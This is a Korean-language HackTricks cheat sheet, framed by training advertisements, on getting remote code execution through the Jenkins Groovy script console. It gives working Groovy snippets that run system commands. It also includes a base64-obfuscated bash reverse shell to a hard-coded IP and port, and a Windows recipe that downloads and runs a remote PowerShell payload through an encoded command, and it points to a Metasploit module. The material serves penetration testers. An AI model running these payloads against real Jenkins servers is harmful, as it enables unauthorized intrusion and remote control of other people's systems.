Jenkins RCE with Groovy Script
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Jenkins RCE with Groovy Script
이것은 Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다.
- _path_jenkins/script_로 이동합니다.
- 텍스트 상자에 스크립트를 입력합니다.
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
다음과 같이 명령을 실행할 수 있습니다: cmd.exe /c dir
리눅스에서는 다음과 같이 할 수 있습니다: "ls /".execute().text
텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, """PAYLOAD""" (세 개의 큰따옴표)를 사용하여 페이로드를 실행할 수 있습니다.
또 다른 유용한 groovy 스크립트는 (여기서 [INSERT COMMAND]를 교체하세요):
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
리버스 셸 in linux
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
윈도우에서의 리버스 셸
PS 리버스 셸로 HTTP 서버를 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다:
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
스크립트
이 프로세스는 이 스크립트를 사용하여 자동화할 수 있습니다.
MSF를 사용하여 리버스 셸을 얻을 수 있습니다:
msf> use exploit/multi/http/jenkins_script_console
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.